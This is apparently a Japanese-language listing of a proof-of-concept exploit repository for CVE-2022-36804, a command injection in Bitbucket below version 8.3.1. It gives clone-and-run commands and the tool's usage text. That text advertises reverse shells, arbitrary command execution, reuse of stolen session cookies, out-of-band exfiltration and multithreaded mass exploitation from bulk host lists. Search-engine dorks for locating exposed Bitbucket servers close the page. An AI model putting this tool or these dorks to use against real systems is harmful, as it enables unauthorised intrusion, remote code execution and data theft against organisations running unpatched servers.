0xeleven/cve-2022-36804-reverseshellCVE-2022-36804 (BitBucket 重大なコマンドインジェクション) の PoC エクスプロイト
https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit
CVE-2022-36804（BitBucketの重大なコマンドインジェクション）に対する、ある程度信頼性のあるPoCエクスプロイトです。この攻撃は通常、パブリックリポジトリが有効である必要がありますが、セッションクッキーもこのエクスプロイトと互換性があります。注意: このエクスプロイトは自動リポジトリ検出機能を含んでおり、自分で公開リポジトリを手動で見つけたくない場合に便利です。
git clone https://github.com/Chocapikk/CVE-2022-36804-ReverseShell.git;
cd CVE-2022-36804-ReverseShell
python3 -m pip install -r requirements.txt
python3 main.py --server [target]
usage: main.py [-h] [--server SERVER] [--project PROJECT] [--repo REPO] [--skip-auto]
[--session SESSION] [--command CMD] [--file FILE] [--output OUTPUT]
[--lhost LHOST] [--lport LPORT] [--threads THREADS]
Exploit BitBucket Instances (< v8.3.1) using CVE-2022-36804. Exploits automagically
without any extra parameters, but allows for custom settings as well.
options:
-h, --help show this help message and exit
--server SERVER Host to attack
--project PROJECT The name of the project the repository resides in
--repo REPO The name of the repository
--skip-auto Skip the automatic finding of exploitable repos
--session SESSION Value of 'BITBUCKETSESSIONID' cookie, useful if target repo is
private
--command CMD Command to execute if exploit is successful (Note: getting output
isn't reliable so OOB exfil is a must)
--file FILE File to scan bulk hosts
--output OUTPUT Output file for the session
--lhost LHOST Your Local Host for reverse shell
--lport LPORT Your Local Port for reverse shell
--threads THREADS Threads for mass exploitation
app:"Bitbucket" +banner:"repos?visibility=public"
app:"Bitbucket" +title:"public"
app:"Bitbucket"
iconhash:667017222